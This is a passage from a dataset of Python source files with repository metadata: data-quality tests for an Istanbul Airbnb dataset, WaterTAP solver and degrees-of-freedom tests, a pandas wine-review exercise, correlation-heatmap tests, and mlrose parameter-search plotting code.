"max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-12-04T17:46:50.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-04T17:46:50.000Z", "avg_line_length": 43.3597122302, "max_line_length": 161, "alphanum_fraction": 0.5200763232, "include": true, "reason": "import numpy", "num_tokens": 2757, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204329, "lm_q2_score": 0.10669059962643358, "lm_q1q2_score": 0.050430883554141284}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n------ What is this file? ------\n\nThis test module contains some data quality tests for the istanbul_airbnb_process.csv file\nThe file can be found at:\n    data/processed/istanbul_airbnb_processed.csv\n\n\"\"\"\n#%% --- Import Required Packages ---\n\nimport os\nfrom pathlib import Path # To wrap around filepaths\nimport pytest\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd\nimport textdistance\n#%% --- Set proper directory to assure integration with doit ---\n\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\n#%% --- Import data ---\n\n# Dataset to test for quality\nimport_fp = Path(\"../../data/processed/istanbul_airbnb_processed.csv\")\nairbnb = pd.read_csv(import_fp, encoding = \"utf-8-sig\")\n\n# Dataset to take as reference for lat/lon boundaries\nimport_fp = Path(\"../../data/external/istanbul_districts.shp\")\nistanbul_districts = gpd.read_file(import_fp)\n\n#%% --- Data quality tests ---\n \nclass TestNullValues(object):\n    def test_total_null_values(self):\n        expected = 0\n        actual = airbnb.isnull().sum().sum()\n        error_message = \"Dataset contains null values. Expected {} null values, got {}\".format(expected,actual)\n        assert expected == actual, error_message\n        \nclass TestUniqueness(object):\n    def test_total_unique_values_for_column_listing_id(self):\n        expected = airbnb.shape[0]\n        actual = len(airbnb.loc[:,\"listing_id\"].unique())\n        error_message = \"Column listing_id contains non-unique values. Expected {} unique values, got {}\".format(expected, actual)\n        assert expected == actual, error_message\n        \nclass TestOutliers(object):\n    expected_boundaries = istanbul_districts.geometry.total_bounds\n    \n    def test_price_outliers_min(self):\n        actual = airbnb.loc[:,\"price\"].min()\n        error_message = \"Minimum price must be > 0. Got {}\".format(actual)\n        assert actual > 0, error_message\n    \n    def test_latitude_boundary_min(self):\n        expected = self.expected_boundaries[1]\n        actual = airbnb[\"latitude\"].min()\n        error_message = \"At least one point is smaller than the minimum boundary latitude. Actual {} is smaller than expected {}\".format(actual, expected)\n        assert expected <= actual, error_message\n        \n    def test_latitude_boundary_max(self):\n        expected = self.expected_boundaries[3]\n        actual = airbnb[\"latitude\"].max()\n        error_message = \"At least one point is bigger than the maximum boundary latitude. Actual {} is bigger than expected {}\".format(actual, expected)\n        assert  expected >= actual, error_message\n    \n    def test_longitude_boundary_min(self):\n        expected = self.expected_boundaries[0]\n        actual = airbnb[\"longitude\"].min()\n        error_message = \"At least one point is smaller than the minimum boundary longitude. Actual {} is smaller than expected {}\".format(actual, expected)\n        assert expected <= actual, error_message\n    \n    def test_longitude_boundary_max(self):\n        expected = self.expected_boundaries[2]\n        actual = airbnb[\"longitude\"].max()\n        error_message = \"At least one point is bigger than the maximum boundary longitude. Actual {} is bigger than expected {}\".format(actual, expected)\n        assert  expected >= actual, error_message\n\nclass TestDataTypes(object):\n    def test_data_type_agreement_within_columns(self):\n        for column_name in airbnb.columns:\n            expected_dtype = type(airbnb[column_name][0])\n            value_index = 0\n            while value_index < len(airbnb[column_name]):\n                value_type = type(airbnb[column_name][value_index])\n                error_message = \"Values in column \\\"{}\\\" are not all of same type. Value at index {} is type {}, expected type {}\".format(column_name, value_index, value_type, expected_dtype)\n                assert value_type == expected_dtype, error_message\n                value_index += 1\n                \nclass TestValueAgreement(object):\n    def test_district_name_agreement(self):\n        dataset_subset = airbnb.loc[:,[\"district_eng\", \"district_tr\"]]\n        for row in dataset_subset.values:\n            district_eng = row[0]\n            district_tr = row[1]\n            actual_similarity = textdistance.jaro_winkler.normalized_similarity(district_tr, district_eng)\n            similarity_threshold = 0.50\n            error_message = \"District name similarity is below similarity treshold. Threshold is {}, similarity is {}\".format(similarity_threshold, actual_similarity)\n            assert actual_similarity >= similarity_threshold, error_message\n         \n", "meta": {"hexsha": "be7b71a75c6e1b16f7da243a47e18591c0a5b352", "size": 4615, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/data_quality_tests/test_istanbul_airbnb_processed_data_quality.py", "max_stars_repo_name": "ejgenc/Data-Analysis_Istanbul-Health-Tourism", "max_stars_repo_head_hexsha": "34b9838690ca640c6a7a60f63eb2f51983ec46ef", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-11-18T15:27:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-18T15:27:53.000Z", "max_issues_repo_path": "tests/data_quality_tests/test_istanbul_airbnb_processed_data_quality.py", "max_issues_repo_name": "ejgenc/Data-Analysis_Istanbul-Health-Tourism", "max_issues_repo_head_hexsha": "34b9838690ca640c6a7a60f63eb2f51983ec46ef", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/data_quality_tests/test_istanbul_airbnb_processed_data_quality.py", "max_forks_repo_name": "ejgenc/Data-Analysis_Istanbul-Health-Tourism", "max_forks_repo_head_hexsha": "34b9838690ca640c6a7a60f63eb2f51983ec46ef", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.9523809524, "max_line_length": 191, "alphanum_fraction": 0.6868905742, "include": true, "reason": "import numpy", "num_tokens": 962, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.10669059394565118, "lm_q1q2_score": 0.05043088086892931}}
{"text": "###############################################################################\n# WaterTAP Copyright (c) 2021, The Regents of the University of California,\n# through Lawrence Berkeley National Laboratory, Oak Ridge National\n# Laboratory, National Renewable Energy Laboratory, and National Energy\n# Technology Laboratory (subject to receipt of any required approvals from\n# the U.S. Dept. of Energy). All rights reserved.\n#\n# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and license\n# information, respectively. These files are also available online at the URL\n# \"https://github.com/watertap-org/watertap/\"\n#\n###############################################################################\n\nimport pytest\n\nfrom pyomo.environ import ConcreteModel, Var, Constraint\n\nfrom idaes.core import FlowsheetBlock\nfrom idaes.core.util import get_solver\nimport idaes.logger as idaeslog\n\nfrom watertap.util.initialization import (check_solve, check_dof,\n        assert_no_degrees_of_freedom, assert_degrees_of_freedom)\n\n__author__ = \"Adam Atia\"\n\n_log = idaeslog.getLogger(__name__)\n\n# Set up solver\nsolver = get_solver()\n\nclass TestCheckDOF:\n    @pytest.fixture(scope=\"class\")\n    def m(self):\n        m = ConcreteModel()\n        m.a = Var()\n        m.b = Var()\n        m.abcon = Constraint(rule=m.a + m.b == 10)\n        return m\n\n    @pytest.mark.unit\n    def test_expected(self, m):\n        check_dof(m, fail_flag=False, expected_dof=1)\n        check_dof(m, fail_flag=True, expected_dof=1)\n        assert_degrees_of_freedom(m, 1)\n\n    @pytest.mark.unit\n    def test_more_expected(self, m):\n        check_dof(m, fail_flag=False, expected_dof=3)\n        msg = r\"Unexpected degrees of freedom: Degrees of freedom on unknown = 1. Expected 3. Unfix 2 variable\\(s\\)\"\n        with pytest.raises(ValueError, match=msg):\n            check_dof(m, fail_flag=True, expected_dof=3)\n        with pytest.raises(ValueError, match=msg):\n            assert_degrees_of_freedom(m, 3)\n\n    @pytest.mark.unit\n    def test_less_expected(self, m):\n        check_dof(m, fail_flag=False, expected_dof=-1)\n        msg = r\"Unexpected degrees of freedom: Degrees of freedom on unknown = 1. Expected -1. Fix 2 variable\\(s\\)\"\n        with pytest.raises(ValueError, match=msg):\n            check_dof(m, fail_flag=True, expected_dof=-1)\n        with pytest.raises(ValueError, match=msg):\n            assert_degrees_of_freedom(m, -1)\n\n    @pytest.mark.unit\n    def test_zero_expected(self, m):\n        # check_dof should pass since fail_flag=False produces warning for DOF!=0\n        check_dof(m, fail_flag=False)\n        msg = r\"Non-zero degrees of freedom: Degrees of freedom on unknown = 1. Fix 1 more variable\\(s\\)\"\n        # Verify error is raised since DOF!=0\n        with pytest.raises(ValueError, match=msg):\n            check_dof(m, fail_flag=True)\n        with pytest.raises(ValueError, match=msg):\n            assert_no_degrees_of_freedom(m)\n\n    @pytest.mark.unit\n    def test_zero(self, m):\n        m.a.fix(5)\n        # check should pass since DOF=0\n        check_dof(m, fail_flag=True)\n        check_dof(m, fail_flag=True, expected_dof=0)\n        assert_no_degrees_of_freedom(m)\n\n        m.a.unfix()\n\n\nclass TestCheckSolve:\n    @pytest.fixture(scope=\"class\")\n    def m(self):\n        m = ConcreteModel()\n        m.a = Var()\n        m.acon = Constraint(rule=m.a >= 10)\n        m.bcon = Constraint(rule=m.a == 5)\n        return m\n\n    @pytest.mark.unit\n    def test_failure(self, m):\n        results = solver.solve(m)\n        # check_solve should pass since fail_flag=False and only warning will be produced\n        check_solve(results, logger=_log, fail_flag=False)\n        # expect the solve to fail and raise error\n        with pytest.raises(ValueError, match=\"The solver failed to converge to an optimal solution. This suggests that the \"\n                                             \"user provided infeasible inputs or that the model is poorly scaled.\"):\n            check_solve(results, logger=_log, fail_flag=True)\n\n    @pytest.mark.unit\n    def test_failure_checkpoint(self, m):\n        results = solver.solve(m)\n        # check_solve should pass since fail_flag=False and only warning will be produced\n        check_solve(results, checkpoint='test', logger=_log, fail_flag=False)\n        # expect the solve to fail and raise error\n        with pytest.raises(ValueError, match=\"test failed. The solver failed to converge to an optimal solution. \"\n                \"This suggests that the user provided infeasible inputs or that the model is poorly scaled.\"):\n            check_solve(results, checkpoint='test', logger=_log, fail_flag=True)\n    \n    @pytest.mark.unit\n    def test_success(self, m):\n        m.acon.deactivate()\n\n        results = solver.solve(m)\n        # both check_solve's should pass\n        check_solve(results, logger=_log, fail_flag=False)\n        check_solve(results, logger=_log, fail_flag=True)\n\n        m.acon.activate()\n", "meta": {"hexsha": "d20182d2677713747e4d40a53fe1003a408aafc2", "size": 4940, "ext": "py", "lang": "Python", "max_stars_repo_path": "watertap/util/tests/test_initialization.py", "max_stars_repo_name": "eyoung55/proteuslib-1", "max_stars_repo_head_hexsha": "24efce5f072db9b59fcbd368141885eb9eba4152", "max_stars_repo_licenses": ["BSD-3-Clause-LBNL"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "watertap/util/tests/test_initialization.py", "max_issues_repo_name": "eyoung55/proteuslib-1", "max_issues_repo_head_hexsha": "24efce5f072db9b59fcbd368141885eb9eba4152", "max_issues_repo_licenses": ["BSD-3-Clause-LBNL"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "watertap/util/tests/test_initialization.py", "max_forks_repo_name": "eyoung55/proteuslib-1", "max_forks_repo_head_hexsha": "24efce5f072db9b59fcbd368141885eb9eba4152", "max_forks_repo_licenses": ["BSD-3-Clause-LBNL"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.2063492063, "max_line_length": 124, "alphanum_fraction": 0.6510121457, "include": true, "reason": "from pyomo", "num_tokens": 1127, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.10669058826486906, "lm_q1q2_score": 0.05043087818371746}}
{"text": "\"\"\"\nChecking Imported Data III - DataFrame Labels\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nwine_reviews = pd.read_csv('../../winemag-data-130k.csv')\n\n\n# Access the labels on the rows of data.\n\nprint(wine_reviews.index) # RangeIndex(start=0, stop=129971, step=1)\n\n# Access the labels on the columns of data.\n\nprint(wine_reviews.columns) # Index(['country', 'description', 'designation', 'points', 'price', 'province', 'region_1', 'region_2', 'taster_name', 'taster_twitter_handle', 'title', 'variety', 'winery'], dtype='object')\n\n# Return the labels for the rows and columns in wine_reviews in one command.\n\nprint(wine_reviews.axes)\n\"\"\"\n[RangeIndex(start=0, stop=129971, step=1), Index(['country', 'description', 'designation', 'points', 'price', 'province', 'region_1', 'region_2', 'taster_name', 'taster_twitter_handle', 'title', 'variety', 'winery'], dtype='object')\n\"\"\"", "meta": {"hexsha": "a16c7a08763be95082dfb7064877ca86fd58d45a", "size": 875, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas1_wine_reviews/check_imported_data/solutions/p3.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas1_wine_reviews/check_imported_data/solutions/p3.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas1_wine_reviews/check_imported_data/solutions/p3.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 38.0434782609, "max_line_length": 232, "alphanum_fraction": 0.7108571429, "include": true, "reason": "import numpy", "num_tokens": 235, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.10669058684467357, "lm_q1q2_score": 0.05043087751241452}}
{"text": "# import altair as alt\n# import numpy as np\n# import pandas as pd\n# import pytest\nfrom vega_datasets import data\nfrom simpler_eda.corr_map import corr_map\n\ndf = data.cars()\n\n\ndef test_input_type():\n    \"\"\"\n    Tests for exceptions handling.\n\n    Returns\n    -------\n    None\n        All test should pass and no asserts error should be displayed.\n    \"\"\"\n\n    try:\n        corr_map(\n            [\"a\", \"b\", \"c\"],\n            [\"Horsepower\", \"Displacement\", \"Cylinders\", \"Acceleration\"],\n        )\n\n    except Exception as err:\n        assert str(err) == \"The input data is not a panda dataframe\"\n\n    try:\n        corr_map(df, \"ab\")\n\n    except Exception as err:\n        assert str(err) == \"The input for feature should be a list\"\n\n    try:\n        corr_map(df, [\"Horsepower\"])\n\n    except Exception as err:\n        assert str(err) == \"There should be at least 2 features in the list\"\n\n    try:\n        corr_map(df, [\"Horsepower\", [123, 456]])\n\n    except Exception as err:\n        assert (\n            str(err)\n            == \"All the entries in the feature list should be a string\"\n        )\n\n    # added a check to ensure the input list of features are all numeric\n    try:\n        corr_map(df, [\"Horsepower\", \"Name\"])\n\n    except Exception as err:\n        assert str(err) == \"All features in the list should be numeric\"\n\n    try:\n        corr_map(\n            df,\n            [\"Horsepower\", \"Displacement\", \"Cylinders\", \"Acceleration\"],\n            corr_method=\"kvb\",\n        )\n\n    except Exception as err:\n        assert (\n            str(err)\n            == \"\"\"The correlation method should be 'pearson', 'kendall',\n            or 'spearman' \"\"\"\n        )\n\n    try:\n        corr_map(\n            df,\n            [\"Horsepower\", \"Displacement\", \"Cylinders\", \"Acceleration\"],\n            color_scheme=[\"blueyellow\"],\n        )\n\n    except Exception as err:\n        assert str(err) == \"The color scheme should be given as a string\"\n\n    try:\n        corr_map(\n            df,\n            [\"Horsepower\", \"Displacement\", \"Cylinders\", \"Acceleration\"],\n            plot_width=\"200\",\n        )\n\n    except Exception as err:\n        assert str(err) == \"The plot_width should be given as an integer\"\n\n    try:\n        corr_map(\n            df,\n            [\"Horsepower\", \"Displacement\", \"Cylinders\", \"Acceleration\"],\n            plot_height=\"200\",\n        )\n\n    except Exception as err:\n        assert str(err) == \"The plot_height should be given as an integer\"\n\n    try:\n        corr_map(\n            df,\n            [\"Horsepower\", \"Displacement\", \"Cylinders\", \"Acceleration\"],\n            title=200,\n        )\n\n    except Exception as err:\n        assert str(err) == \"The title should be given as a string\"\n\n\nout = corr_map(\n    df,\n    [\"Horsepower\", \"Displacement\", \"Cylinders\", \"Acceleration\"],\n    corr_method=\"pearson\",\n    color_scheme=\"blueorange\",\n    plot_width=450,\n    plot_height=450,\n    title=\"Correlation Map\",\n)\n\n\ndef test_corr_map():\n    \"\"\"\n    Tests the corr_map function to make sure the outputs are correct.\n\n    Returns\n    --------\n    None\n        All test should pass and no asserts should be displayed.s\n    \"\"\"\n    assert (\n        str(type(out)) == \"<class 'altair.vegalite.v4.api.Chart'>\"\n    ), \"The function should retrun an altair plot\"\n    assert (\n        out.encoding.x.shorthand == \"level_0\"\n    ), \"The level_0 should be mapped to the x axis\"\n    assert (\n        out.encoding.y.shorthand == \"level_1\"\n    ), \"The level 1 should be mapped to the y axis\"\n    assert (\n        out.mark.type == \"rect\"\n    ), \"the plot type (mark) should be a rect plot (heatmap)\"\n    assert out.encoding.color.scale.scheme == \"blueorange\", (\n        \"the color scheme should blueorange (default) or the inputted color\"\n        \" scheme\"\n    )\n    assert (\n        out.title == \"Correlation Map\"\n    ), \"The title should be Correlation Map or the given value\"\n", "meta": {"hexsha": "396b1c137ea529c574ace4924fb949670d99fbc7", "size": 3873, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_corr_map.py", "max_stars_repo_name": "UBC-MDS/simpler_eda", "max_stars_repo_head_hexsha": "cdb703a275be67aeb96e55bf555615512cd91b41", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_corr_map.py", "max_issues_repo_name": "UBC-MDS/simpler_eda", "max_issues_repo_head_hexsha": "cdb703a275be67aeb96e55bf555615512cd91b41", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 35, "max_issues_repo_issues_event_min_datetime": "2021-02-25T00:41:06.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-27T03:30:06.000Z", "max_forks_repo_path": "tests/test_corr_map.py", "max_forks_repo_name": "UBC-MDS/simpler_eda", "max_forks_repo_head_hexsha": "cdb703a275be67aeb96e55bf555615512cd91b41", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2021-02-27T02:09:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-10T19:01:41.000Z", "avg_line_length": 25.4802631579, "max_line_length": 76, "alphanum_fraction": 0.5708752905, "include": true, "reason": "import numpy", "num_tokens": 920, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.11124121092722457, "lm_q1q2_score": 0.05042139684034318}}
{"text": "import warnings\r\nwarnings.simplefilter(\"ignore\")\r\n\r\nimport numpy as np\r\nimport mlrose_hiive as mlrose\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport os\r\n\r\n\r\n\r\ndef plot_ga_param_search(runs_ga, problem_name, outdir, limit_iter1=3000, limit_iter2=5000):\r\n    \r\n    pop = [100, 200, 300]\r\n    mut = [0.1, 0.2, 0.3]\r\n    \r\n    combinations = [(p, m) for p in pop for m in mut]\r\n    color = {100: 'r', 200:'b', 300:'g'}\r\n    marker = {0.1: 'o', 0.2:'+', 0.3:'x'}\r\n    \r\n    fig, ax = plt.subplots(1,2, figsize=(15,6))\r\n    #fig.figure(figsize=(10,10))\r\n    for p,m in combinations:\r\n        runs = runs_ga[(runs_ga['Population Size'] == p) & (runs_ga['Mutation Rate'] == m) & (runs_ga['Iteration'] <= limit_iter1)]\r\n        \r\n        ax[0].plot(runs['Iteration'], runs['Fitness'], c=color[p], marker=marker[m], ls='--',label='Population Size='+str(p)+' Mutation Rate='+str(m))\r\n        #ax[0].legend()\r\n        ax[0].set_xlabel('Iteration')\r\n        ax[0].set_ylabel('Fitness')\r\n        ax[0].set_title('GA-'+problem_name+'-Fitness')\r\n        ax[0].grid()\r\n        ax[0].legend()\r\n    \r\n    for p,m in combinations:\r\n        runs = runs_ga[(runs_ga['Population Size'] == p) & (runs_ga['Mutation Rate'] == m)  & (runs_ga['Iteration'] <= limit_iter2)]\r\n        \r\n        ax[1].plot(runs['Iteration'], runs['Time'],  c=color[p], marker=marker[m], ls='--', label='Population Size='+str(p)+' Mutation Rate='+str(m))\r\n        ax[1].set_xlabel('Iteration')\r\n        ax[1].set_ylabel('Time')\r\n        ax[1].set_title('GA-'+problem_name+'-Time')\r\n        ax[1].grid()\r\n        #ax[1].legend()\r\n    #plt.show()\r\n    plt.savefig(os.path.join(outdir, problem_name+'_GA_param_search.png'))\r\n    plt.close()\r\n\r\ndef plot_sa_param_search(runs, problem_name, outdir, limit_iter1=10000, limit_iter2=5000):\r\n\r\n    temp = [100, 250, 500]\r\n    decay = [\"exponential\", \"geometric\"]\r\n    \r\n    combinations = [(t, d) for t in temp for d in decay]\r\n    color = {100: 'r', 250:'b', 500:'g'}\r\n    marker = {\"exponential\": 'o', \"geometric\":'+'}\r\n    \r\n    fig, ax = plt.subplots(1,2, figsize=(15,6))\r\n    #fig.figure(figsize=(10,10))\r\n    for t,d in combinations:\r\n        run = runs[(runs['Temperature'] == t) & (runs['schedule_type'] == d) & (runs['Iteration'] <= limit_iter1)]\r\n        #print(run[['Temperature', 'schedule_type']].head())\r\n        ax[0].plot(run['Iteration'], run['Fitness'], c=color[t], marker=marker[d], ls='--', \r\n                   label='Temperature='+str(t)+' Decay='+str(d))\r\n        #ax[0].legend()\r\n        ax[0].set_xlabel('Iteration')\r\n        ax[0].set_ylabel('Fitness')\r\n        ax[0].set_title('SA-'+problem_name+'-Fitness')\r\n        ax[0].grid()\r\n        ax[0].legend()\r\n    \r\n    for t,d in combinations:\r\n        run = runs[(runs['Temperature'] == t) & (runs['schedule_type'] == d)  & (runs['Iteration'] <= limit_iter2)]\r\n    \r\n        ax[1].plot(run['Iteration'], run['Time'],  c=color[t], marker=marker[d], ls='--', \r\n                   label='Temperature='+str(t)+' Decay='+str(d))\r\n        ax[1].set_xlabel('Iteration')\r\n        ax[1].set_ylabel('Time')\r\n        ax[1].set_title('SA-'+problem_name+'-Time')\r\n        ax[1].grid()\r\n        #ax[1].legend()\r\n    ##plt.show()\r\n    plt.savefig(os.path.join(outdir, problem_name+'_SA_param_search.png'))\r\n    plt.close()\r\n\r\ndef plot_rhc_param_search(rhc_curves_runs, rhc_runs_stats, problem_name, outdir, limit_iter1=np.inf, limit_iter2=np.inf):\r\n    restarts = np.arange(1,11)\r\n    \r\n    #color = {0: 'r', 10:'b', 50:'g'}\r\n    markers = {0:'o', 1:'^', 2:'s', 3:'+', 4:'*', 5:'x', 6:'p', 7:'h', 8:'<', 9:'>', 10:''}\r\n    #markers = {i:'$'+str(i)+'$' for i in restarts}\r\n    #print(markers)\r\n    \r\n    fig, ax = plt.subplots(1,2, figsize=(15,6))\r\n    for t in restarts:\r\n        run = rhc_curves_runs[(rhc_curves_runs['current_restart'] == t) & (rhc_curves_runs['Iteration'] <=limit_iter1)]\r\n        run = run.iloc[::300, :]\r\n        ax[0].plot(run['Iteration']-run.iloc[0]['Iteration'], run['Fitness'], ls='--', marker=markers[t],\r\n                   label='Restart='+str(t))\r\n        #ax[0].plot(run['Iteration'], run['Fitness'], ls='--',  marker=markers[t],\r\n        #           label='Restart='+str(t))\r\n        ax[0].set_xlabel('Iteration')\r\n        ax[0].set_ylabel('Fitness')\r\n        ax[0].set_title('RHC-'+problem_name+'-Fitness')\r\n        ax[0].grid()\r\n        ax[0].legend()\r\n        \r\n    for t in restarts:\r\n        run = rhc_runs_stats[(rhc_runs_stats['current_restart'] == t) & (rhc_runs_stats['Iteration'] <= limit_iter2)]\r\n    \r\n        #ax[1].plot(run['Iteration']-run.iloc[0]['Iteration'], run['Time']-run.iloc[0]['Time'],  ls='--', \r\n        #           label='Restart='+str(t))\r\n        ax[1].plot(run['Iteration'], run['Time']-run.iloc[0]['Time'],  ls='--',  marker=markers[t],\r\n               label='Restart='+str(t))\r\n    \r\n        ax[1].set_xlabel('Iteration')\r\n        ax[1].set_ylabel('Time')\r\n        ax[1].set_title('RHC-'+problem_name+'-Time')\r\n        ax[1].grid()\r\n        ax[1].legend()\r\n    #plt.show()\r\n    plt.savefig(os.path.join(outdir, problem_name+'_RHC_param_search.png'))\r\n    plt.close()\r\n\r\ndef plot_mimic_param_search(runs, problem_name, outdir, limit_iter1=1000, limit_iter2=2000):\r\n    keep_pct = [0.1, 0.2, 0.3]\r\n    population_sizes=[100, 200, 300]\r\n    combinations = [(t, p) for t in keep_pct for p in population_sizes]\r\n    \r\n    color = {0.1: 'r', 0.2:'b', 0.3:'g'}\r\n    marker = {100: '^', 200:'x', 300:'+'}\r\n    \r\n    fig, ax = plt.subplots(1,2, figsize=(15,6))\r\n    #fig.figure(figsize=(10,10))\r\n    for t, p in combinations:\r\n        run = runs[(runs['Keep Percent'] == t) & (runs['Population Size'] == p) &  (runs['Iteration'] <= limit_iter1)]\r\n        ax[0].plot(run['Iteration'], run['Fitness'], \r\n                   c=color[t], marker=marker[p],\r\n                   ls='--', \r\n                   label='Keep Pct='+str(t)+' Population Size='+str(p))\r\n        #ax[0].legend()\r\n        ax[0].set_xlabel('Iteration')\r\n        ax[0].set_ylabel('Fitness')\r\n        ax[0].set_title('MIMIC-'+problem_name+'-Fitness')\r\n        ax[0].grid()\r\n        ax[0].legend()\r\n    \r\n    for t, p in combinations:\r\n        run = runs[(runs['Keep Percent'] == t) & (runs['Population Size'] == p) &  (runs['Iteration'] <= limit_iter2)]\r\n    \r\n        ax[1].plot(run['Iteration'], run['Time'],  \r\n                   c=color[t], marker=marker[p],\r\n                   ls='--', \r\n                   label='Keep Pct='+str(t)+' Population Size='+str(p))\r\n        ax[1].set_xlabel('Iteration')\r\n        ax[1].set_ylabel('Time')\r\n        ax[1].set_title('MIMIC-'+problem_name+'-Time')\r\n        ax[1].grid()\r\n        ax[1].legend()\r\n    #plt.show()\r\n    plt.savefig(os.path.join(outdir, problem_name+'_MIMIC_param_search.png'))\r\n    plt.close()\r\n\r\ndef plot_best_models(ga_best, sa_best, rhc_best, mimic_best, ax, problem_name):\r\n    ax[0].plot(ga_best['Iteration'], ga_best['Fitness'], 'ro--', label='GA best')\r\n    ax[0].plot(sa_best['Iteration'], sa_best['Fitness'], 'b^--', label='SA best')\r\n    ax[0].plot(rhc_best['Iteration'], rhc_best['Fitness'], 'yd--', label='RHC best')\r\n    ax[0].plot(mimic_best['Iteration'], mimic_best['Fitness'], 'cs--', label='MIMIC best')\r\n    ax[0].legend()\r\n    ax[0].grid() #ax[0].set_xscale('log')\r\n    ax[0].set_xlabel('Iteration')\r\n    ax[0].set_ylabel('Fitesss')\r\n    ax[0].set_title(problem_name+' Fitness Comparison')\r\n    \r\n    ax[1].plot(ga_best['Iteration'], ga_best['Time'], 'ro--', label='GA best')\r\n    ax[1].plot(sa_best['Iteration'], sa_best['Time'], 'b^--', label='SA best')\r\n    ax[1].plot(rhc_best['Iteration'], rhc_best['Time'] - rhc_best.iloc[0]['Time'], 'yd--', label='RHC best')\r\n    ax[1].plot(mimic_best['Iteration'], mimic_best['Time'], 'cs--', label='MIMIC best')\r\n    ax[1].legend()\r\n    ax[1].grid()\r\n    ax[1].set_xlabel('Iteration')\r\n    ax[1].set_ylabel('Time')\r\n    ax[1].set_title(problem_name+' Time Comparison')\r\n    \r\n\r\ndef run_param_search(problem, output_dir):\r\n    rhc = mlrose.RHCRunner(problem=problem, experiment_name=\"RHC\", \r\n        output_directory=output_dir, \r\n        seed=42, \r\n        iteration_list=2 ** np.arange(15), \r\n        max_attempts=1000, \r\n        restart_list=[10])\r\n    rhc_run_stats, rhc_run_curves = rhc.run()\r\n    sa = mlrose.SARunner(problem=problem, \r\n        experiment_name=\"SA\", \r\n        output_directory=output_dir, \r\n        seed=42, \r\n        iteration_list=2 ** np.arange(20), \r\n        max_attempts=1000, \r\n        temperature_list=[100, 250, 500], \r\n        decay_list=[mlrose.ExpDecay, mlrose.GeomDecay])\r\n    sa_run_stats, sa_run_curves = sa.run()\r\n    ga = mlrose.GARunner(problem=problem, \r\n        experiment_name=\"GA\", \r\n        output_directory=output_dir, \r\n        seed=42, \r\n        iteration_list=2 ** np.arange(13), \r\n        max_attempts=1000, \r\n        population_sizes=[100, 200, 300], \r\n        mutation_rates=[0.1, 0.2, 0.3])\r\n    ga_run_stats, ga_run_curves = ga.run()\r\n    mimic = mlrose.MIMICRunner(problem=problem, \r\n        experiment_name=\"MIMIC\", \r\n        output_directory=output_dir, \r\n        seed=42, \r\n        iteration_list=2 ** np.arange(13), \r\n        population_sizes=[100, 200, 300], \r\n        max_attempts=500, \r\n        keep_percent_list=[0.1, 0.2, 0.3], \r\n        use_fast_mimic=True)\r\n    mimic_run_stats, mimic_run_curves = mimic.run()\r\n", "meta": {"hexsha": "17a22527e4b2d712775921fd748b718d421f8d76", "size": 9308, "ext": "py", "lang": "Python", "max_stars_repo_path": "randomized_optimization/param_search.py", 